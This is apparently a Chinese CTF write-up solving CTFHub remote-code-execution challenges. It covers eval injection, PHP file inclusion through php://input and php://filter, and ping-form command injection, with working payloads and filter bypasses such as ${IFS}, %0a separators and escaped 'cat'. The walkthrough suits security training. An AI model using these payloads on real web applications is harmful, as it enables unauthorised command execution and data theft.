目录
RCE简介
初学RCE(远程命令/代码执行漏洞)https://blog.csdn.net/qq_43814486/article/details/90020139https://blog.csdn.net/qq_43814486/article/details/90020139
eval执行
启动环境
分析代码,提示我们将命令赋值给cmd执行
我们先查看当前位置的文件,没有什么用
/?cmd=system("ls");
我们查看根目录文件,发现一个 flag_8999 文件
/?cmd=system("ls /");
我们先尝试使用cat 命令查看 flag_8999文件
/?cmd=system("cat /flag_8999");
OK了,成功找到了flag
需要注意的是:最后结尾的分号不可以省略!!
文件包含
补充知识:
isset()函数
strpos()函数
启动环境
分析代码
strpos函数会将我们的file中的flag字段限制,所以并不能为直接为file赋值为flag
点击shell,我们发现shell.txt中有一个变量ctfhub
我们可以将shell.txt赋值给file,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制!
request = post + get
我们使用HackBar,将命令赋值给shell.txt中的ctfhub
?file=shell.txt 将shell.txt 赋值给file
http://challenge-d82fb33100df49ae.sandbox.ctfhub.com:10800?file=shell.txt
ctfhub=system("ls /");
ctfhub=system("cat /flag");
php://input
补充知识:
php:// 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
启动环境:
分析代码它将file前六位取出判断是否为 "php://" ,是的话为ture 执行include($_GET["file"]);
查看phpinfo,发现以下字段,证明是可以使用php://input的。
burpsuite 抓包
POST /?file:php://input
<?php system("ls /")?>
查看flag文件,成功获得flag
<?php system("cat /flag_28869")?>
读取源代码
启动环境
这里尝试使用 php://input ,发现不成功,那我们就换一个。
这里我们使用php伪协议中的php://filter
/?file=php://filter/resource=/flag
http://challenge-f5f2c46b14eae159.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
远程包含
启动环境
分析代码:熟悉的strpos()函数
查看PHPinfo文件,发现可以使用php://input
burpsuite 抓包,老套路成功获得flag
POST /?file=php://input
<?php system("ls /")?>
<?php system("cat /falg")?>
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
补充知识:
linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
启动环境
我们随便输入一个ip,查看输出
这里我们输入ip & ls ,发现有文件的回显
1.1.1.1 & ls
使用cat查看 文件,我们发现没有文件内容的,我们查看页面源代码即可看到flag
1.1.1.1 & cat 56762100612447.php
这里我们也可以使用管道运行base64加密内容
ip & cat *.php | base64
对第一行进行解码,即可得到flag
过滤cat
过滤了cat命令之后,你还有什么方法能读到 Flag?
启动环境
1.1.1.1 & ls
既然过滤了cat,那我们尝试绕过过滤。
第一种,使用 \ '' "" {任意无意义变量名}
等方法均可绕过
1.1.1.1 & c\at flag_103292321323608.php
第二种,使用其他查看文本命令
1.1.1.1 & more flag_103292321323608.php
这里同样可以输出 base64密文,再解密。
过滤空格
这次过滤了空格,你能绕过吗
1.1.1.1&ls
我们可以使用重定向符 < 来代替空格
1.1.1.1&cat<flag_3163352345276.php
过滤目录分隔符
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
可以看到 flag_is_here 文件夹
1.1.1.1&ls
这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录
12.0.0.1;cd flag_is_here;ls
cat 查看flag文件
12.0.0.1;cd flag_is_here;cat flag_536147747793.php
过滤运算符
过滤了几个运算符, 要怎么绕过呢
& 以及其他的被过滤了 使用 ;
1.1.1.1;ls
1.1.1.1;cat flag_121702315315333.php
依旧可以使用base64
1.1.1.1;base64 flag_121702315315333.php
综合过滤练习
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
启动环境
审计代码:这里过滤掉了 | ,& ,空格,; ,cat, flag, ctfhub
-
空格可以用${IFS}
-
cat可以用more
-
flag可以用f***
-
在linux下,命令分隔符除了;还有%0a
/?ip=127.0.0.1%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_17214794821880.php
RCE 完结!!!
剩余技能上线后会持续更新。